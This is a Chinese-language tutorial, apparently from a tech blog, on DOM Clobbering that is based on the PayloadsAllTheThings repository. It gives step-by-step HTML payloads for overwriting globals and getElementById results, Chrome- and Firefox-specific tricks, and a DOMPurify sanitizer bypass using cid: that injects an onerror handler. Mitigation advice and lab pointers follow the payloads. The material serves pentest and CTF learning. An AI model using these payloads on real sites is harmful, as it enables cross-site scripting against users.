- 网络安全
- 应用安全
- 渗透测试
【免费下载链接】PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
本文以 PayloadsAllTheThings 仓库的 DOM Clobbering/README.md 为主体,系统讲解 DOM Clobbering 的核心原理、逐级利用手法与过滤器绕过技巧。DOM Clobbering 是一种通过命名 HTML 元素的
id/name属性来覆写(clobber)全局变量或 DOM 属性,进而改变脚本执行行为并诱发安全漏洞的攻击技术。读完本文,你将掌握从x.y到多层嵌套(a.b.c.d)的完整载荷构造方法、跨浏览器差异(Chrome / Firefox)利用、document.getElementById()覆写技巧,以及结合 DOMPurify 等 HTML 过滤器的绕过思路,可直接用于 Web 渗透测试与 CTF 实战。
什么是 DOM Clobbering
浏览器在解析 HTML 时,会依据标准将带有id属性的元素自动暴露为window上的全局变量,并将带有id/name的元素挂载到document的命名属性(named property)中。攻击者如果能在页面中注入任意 HTML(即具备HTML injection能力),就可以通过精心构造的元素命名,让脚本中原本引用全局变量、DOM 属性或集合成员的代码,实际解析到攻击者控制的元素节点上——这就是 DOM Clobbering。
正如 DOM Clobbering/README.md 开篇所述:
DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
这种"意外行为"往往会被进一步放大为 DOM XSS:当目标页面的 JavaScript 读取某个变量并把它当作 HTML 片段、URL 或属性值使用时,被覆写的变量内容就能以攻击者可控的方式流入危险 sink。
利用前提
利用 DOM Clobbering 的前提是页面中存在任意形式的 HTML injection 点——例如用户可控内容被未加过滤地反射进 HTML、通过innerHTML写入、或经由 URL 片段 /srcdoc等渠道进入 DOM。这与仓库中 XSS Injection/README.md 所整理的各类注入场景同源:先获得 HTML 注入,再借助 DOM Clobbering 把注入升级为可执行代码。
涉及的工具
以下工具可以帮助测试者生成、筛选 DOM Clobbering 载荷,并验证不同浏览器与 HTML 解析器 / 过滤器下的行为:
- SoheilKhodayari/DOMClobbering—— 面向移动端与桌面端浏览器整理的 DOM Clobbering 载荷大全(payload 列表)。
- yeswehack/Dom-Explorer—— 基于 Web 的测试工具,用于测试各种 HTML 解析器与 sanitizer 对载荷的处理结果。
- yeswehack/Dom-Explorer Live—— Dom-Explorer 的在线演示环境,可直观展示浏览器如何解析 HTML,并帮助发现变异型 XSS(mutated XSS)。
其中 Dom-Explorer 一类的工具尤其适合在构造载荷后快速比对"输入 HTML → 各解析器输出"的差异,与 XSS Injection/README.md 中介绍的 Mutated XSS(利用浏览器解析怪癖重建 HTML 标签)形成互补。
利用方法论:从浅到深的 Clobbering 载荷
1. 覆写x.y.value
最简单的形态:用嵌套元素把x.y.value这条属性访问链"顶替"为攻击者可控的文本。
// Payload <form id=x><output id=y>I've been clobbered</output> // Sink <script>alert(x.y.value);</script>浏览器会把id=x的<form>暴露为全局变量x;而<form>元素支持按id/name命名访问其内部控件,因此id=y的<output>成为x.y,x.y.value即为<output>的value属性,弹出I've been clobbered。这类"表单 + 控件"的组合是后续所有深层载荷的基础构造单元。
2. 用id与name组合形成 DOM 集合,覆写x.y
当页面同时存在多个同名元素时,window.x不再是单个元素,而是一个 DOM 集合(HTMLCollection / RadioNodeList 等);集合又支持按name进行命名访问,于是id与name可以配合起来把属性访问链延长一层:
// Payload <a id=x><a id=x name=y href="Clobbered"> // Sink <script>alert(x.y)</script>两个<a id=x>使x成为元素集合,其中第二个<a>带name=y,因此x.y命中该元素;alert(x.y)将元素强制转为字符串时取到其href属性值Clobbered(元素的字符串化即href的序列化结果)。
3. 覆写x.y.z—— 三层嵌套
三层访问链需要"集合 + 命名表单 + 控件"三级配合:
// Payload <form id=x name=y><input id=z></form> <form id=x></form> // Sink <script>alert(x.y.z)</script>- 两个
id=x的表单构成集合x; - 第一个表单带有
name=y,于是x.y通过集合的命名访问命中该表单; - 表单元素支持按
id/name访问内部控件,id=z的<input>即x.y.z。
注意第二个<form id=x></form>是必需的:它让x从"单个元素"升级为"元素集合",从而开启基于name属性的命名访问路径。这是理解 DOM Clobbering 层级构造的关键点。
4. 覆写a.b.c.d—— 突破三层限制
标准 DOM 结构最多只能自然形成三层访问链,但借助iframe的嵌套文档可以进一步突破:iframe的name属性同样会成为window上的命名属性,而内层文档中的元素又能在外层被继续引用:
// Payload <iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> // Sink <script>alert(a.b.c.d)</script>构造逻辑逐层展开:
- 外层
<iframe name=a>使window.a指向该 iframe 的窗口对象; - iframe 的
srcdoc中再嵌套<iframe name=b>,a.b指向内层 iframe 窗口; - 内层
srcdoc中有<a id=c name=d href=cid:Clobbered>与<a id=c>:两个id=c构成集合c,其中带name=d的元素使c.d命中href="cid:Clobbered"的锚点; - 最终
a.b.c.d即为该锚点的href序列化结果cid:Clobbered。
(附带说明:该载荷示例中混入的<style>@import ...</style>是原文档中保留的与外部探测相关的装饰性片段,实际利用时可将cid:替换为目标环境允许读取的内容。cid:协议之所以被选作载体,详见后文"Tricks"部分。)
5. 覆写forEach(仅 Chrome)
某些框架的代码会直接对 DOM 集合调用forEach(例如遍历表单控件),而 HTML 集合在特定浏览器中可被构造为带forEach的对象:
// Payload <form id=x> <input id=y name=z> <input id=y> </form> // Sink <script>x.y.forEach(element=>alert(element))</script>id=y的两个<input>使x.y成为一个可迭代的控件集合(RadioNodeList 形态),该集合在 Chrome 下暴露forEach方法,从而让攻击者可控元素进入alert(element)的回调。该技巧仅在 Chrome 生效,Firefox / Safari 对集合forEach的支持不同。
6. 覆写document.getElementById()
一般情况下getElementById返回文档中id匹配的元素,但借助<html>/<body>标签的特殊地位,可以干扰其查找结果,使其返回攻击者控制的元素:
// Payloads <html id="cdnDomain">clobbered</html> <svg><body id=cdnDomain>clobbered</body></svg> // Sink <script> alert(document.getElementById('cdnDomain').innerText);//clobbbered </script>当脚本用document.getElementById('cdnDomain')去读取某个"安全"的域名配置(例如 CDN 域名)时,攻击者通过注入同名id的<html>/<svg><body>元素,让getElementById命中攻击者控制节点,innerText返回clobbered。这属于"DOM 属性覆写绕过 HTML 过滤器"的典型场景:代码以为在读配置,实际读到的是注入内容。
7. 覆写x.username
<a>(HTMLAnchorElement)自带 URL 解析属性,href中的用户名与密码部分会被解析为可读属性:
// Payload <a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> // Sink <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script>浏览器将href按 URL 语法解析,ftp:协议下的user:pass@host结构被拆分为username与password两个属性。许多单点登录 / OAuth 流程会把x.username等值拼进请求或页面,从而被注入任意字符串。
8. 浏览器特化技巧:Firefox
Firefox 在解析相对base与href时的行为差异,可被用来在alert(x)中直接取出含<>的原始字符串:
// Payload <base href=a:abc><a id=x href="Firefox<>"> // Sink <script> alert(x)//Firefox<> </script>9. 浏览器特化技巧:Chrome
Chrome 下base元素同样可以影响锚点href的解析结果,配合命名集合取出覆写后的字符串:
// Payload <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> // Sink <script> alert(x.xyz)//a://Clobbered<> </script>两个<a id=x>构成集合,name=xyz的元素命中x.xyz;其href=123在解析时以<base href="a://Clobbered<>">为基准,最终序列化得到a://Clobbered<>。这类技巧的价值在于:某些过滤器只拦截"看起来像 URL"的字符串,却对经base重写后出现的特殊字符序列疏于防范。
Tricks:绕过 DOMPurify 等 HTML 过滤器
DOM Clobbering 的真正威力在于绕过 HTML sanitizer。以 DOMPurify 为例(该库是业界广泛使用的 HTML 过滤组件,仓库 XSS Injection/4 - CSP Bypass.md 也多次提及针对它的绕过研究):
DomPurify 允许协议
cid:,且不会对该协议下的双引号(")进行编码:<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
攻击链拆解:
- DOMPurify 放行
cid:协议,因此整条href属性得以保留; - 属性值中的
"(HTML 实体形式的双引号)未被编码或转义,原样通过过滤器; - 浏览器解析这段 HTML 时,把
"还原为真实的",从而从href属性值中闭合出新的属性,形成onerror=alert(1); - 两个
<a id=defaultAvatar>构成集合,确保defaultAvatar引用到带恶意href的那个元素,最终在相关 sink 中被触发。
这与 XSS Injection/README.md 中记录的 Mutated XSS 思路一脉相承:过滤器认为"安全"的输入,在经过浏览器解析器的二次处理后发生变异,变成可执行的攻击代码。
防御视角与检测建议
从仓库文档给出的载荷可以总结出防御与检测要点(以下为通用工程实践,非仓库原文结论):
- 优先消灭 HTML 注入点:DOM Clobbering 的成立前提是页面存在 HTML 注入,因此对所有反射 / 存储的用户输入坚持上下文相关的输出编码,是成本最低的缓解措施。
- 审查危险 sink 的取值方式:代码中形如
window.x.y.z、document.getElementById(name)、elements.name、.username / .password、集合forEach的引用,都应视为潜在 clobber 目标;优先改用getElementById后校验节点类型、Object.prototype.hasOwnProperty检查,或显式从可信来源读取配置。 - 对 sanitizer 的协议白名单做最小化:如
cid:、data:等非必要协议应及时从允许列表中移除,避免为实体解码绕过留下空间。 - 跨浏览器回归测试:由于 Chrome / Firefox 对命名集合、
base解析、forEach暴露的行为存在差异,测试应覆盖多浏览器,防止"本地不可触发、线上可触发"的漏判。
实战演练与相关资源
建议按以下路径进行实操:
- 理解注入前提:先在 XSS Injection/README.md 中熟悉 HTML 注入与 DOM XSS 的整体脉络,特别是其中的 Mutated XSS 章节(L542-L550)。
- 练习过滤器绕过:结合 XSS Injection/4 - CSP Bypass.md 理解 CSP / 过滤器场景,再回到本文的 Tricks 部分尝试在真实 sanitizer 环境中复现
cid:载荷。 - 完成靶场题目:原文档收录了三道 PortSwigger 实验室题目,分别是"利用 DOM clobbering 实现 XSS"、"覆写 DOM 属性绕过 HTML 过滤器"以及"受 CSP 保护的 DOM clobbering 测试用例",正好覆盖本文的三类核心场景:基础层级构造、过滤器绕过、CSP 场景下的利用。
参考研究
本文内容整理自以下公开研究(按文档收录顺序):
- Bypassing CSP via DOM clobbering—— Gareth Heyes,2023 年 6 月 5 日
- DOM Clobbering(HackTricks 词条)—— 2023 年 1 月 27 日
- DOM Clobbering(PortSwigger Web Security 主题)—— 2020 年 9 月 25 日
- DOM Clobbering strikes back—— Gareth Heyes,2020 年 2 月 6 日
- Hijacking service workers via DOM Clobbering—— Gareth Heyes,2022 年 11 月 29 日
其中"DOM Clobbering strikes back"系统阐述了本文第 2、3、6 节所述的多层集合构造与getElementById覆写原理,是深入理解该技术的推荐起点。
- 网络安全
- 应用安全
- 渗透测试
【免费下载链接】PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
相关推荐
如何修复GyroFlow索尼镜头配置文件加载失败:完整视频稳定诊断指南
如何修复GyroFlow索尼镜头配置文件加载失败:完整视频稳定诊断指南 GyroFlow 是一款基于陀螺仪数据的开源视频稳定工具,用相机内置陀螺数据消除画面抖动
视频处理桌面应用音视频让网页元素变身图片:dom-to-image实战指南
让网页元素变身图片:dom to image实战指南 还在为无法将精美的网页设计保存为图片而烦恼吗?想不想把动态交互界面一键转换为可分享的图像?dom to i
前端Stimulus Targets 完全指南:用 `data-*-target` 按名称引用 DOM 元素
Stimulus Targets 完全指南:用 data target 按名称引用 DOM 元素 Targets(目标引用)是 Stimulus 中把 HTML
前端
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考